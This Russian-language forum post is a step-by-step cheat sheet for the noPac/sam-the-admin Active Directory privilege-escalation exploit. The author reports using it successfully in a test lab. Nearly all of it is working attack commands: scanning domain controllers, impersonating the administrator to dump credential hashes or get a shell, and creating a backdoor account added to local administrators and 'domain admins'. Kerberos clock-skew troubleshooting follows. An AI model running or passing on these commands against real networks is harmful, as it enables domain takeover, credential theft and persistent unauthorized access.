Уже не новая но стоящая внимания цвешка https://medium.com/@mvelazco/huntin...-domain-controller-impersonation-f704513c8a45
Мой краткий читщит по которому я поднимался ею в тест лабе))) кстати успешно
1. L34Rn
2. WazeHell
Мой краткий читщит по которому я поднимался ею в тест лабе))) кстати успешно
1. L34Rn
Код:
#https://github.com/L34Rn/noPac-1
#настраиваем
$ sudo apt-get update
$ sudo apt install python3-pip
$ pip3 install -r requirements.txt
#Сканирует на уязвимости, там где меньше Ticket size там уязвимо
$ python3 scanner.py domain.local/username:'Password' -dc-ip 10.10.10.10
# дампим все креды [-use-ldap опциональный параметр]
$ python3 noPac.py domain.local/username:'Password' -dc-ip 10.10.10.10 -dc-host dc01 --impersonate administrator -dump [-use-ldap]
# получаем шел [-use-ldap опциональный параметр]
$ python3 noPac.py domain.local/username:'Password' -dc-ip 10.10.10.10 -dc-host dc01 --impersonate administrator -shell [-use-ldap]2. WazeHell
Код:
# скачиваем на kali linux https://github.com/WazeHell/sam-the-admin
# разархивируем и переходим в папку
$ cd sam-the-admin
# устанавливаем зависимости
$ pip3 install -r requirements.txt
# запускаем експлойт
# дампаем хеш
$ python3 sam_the_admin.py "domain.local/username:Password123" -dc-ip 10.10.10.10 -dc-host DC01 -dump -just-dc-user domain.local/Administrator
# или получаем shell, потом добавляем локал админа
$ python3 sam_the_admin.py "domain.local/UserName:Password123" -dc-ip 10.10.10.10 -dc-host DC01 -shell
# C:\windows\
system32\> net user /add privetkakdela Password321
system32\> net localgroup administrators privetkakdela /add
system32\> net group "domain admins" privetkakdela /add
Код:
Если получаем ошибку {
[-] Error getting TGT, Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[*] Get TGT wrong!
}
# открываем файл в редакторе
$ sudo nano /etc/systemd/timesyncd.conf
# раскоментм строчку ntp и вписываем туда айпишник дк
[Time]
NTP=dom.contr.ip.ad
FallbackNTP=ntp.ubuntu.com pool.ntp.org
# ctrl+o -> enter -> ctrl+x
$ sudo systemctl restart systemd-timesyncd
# если ошибка
$ sudo apt update
$ sudo apt install ntpdate
$ sudo ntpdate dom.contr.ip.ad
# теперь ошибки не будет
Последнее редактирование:
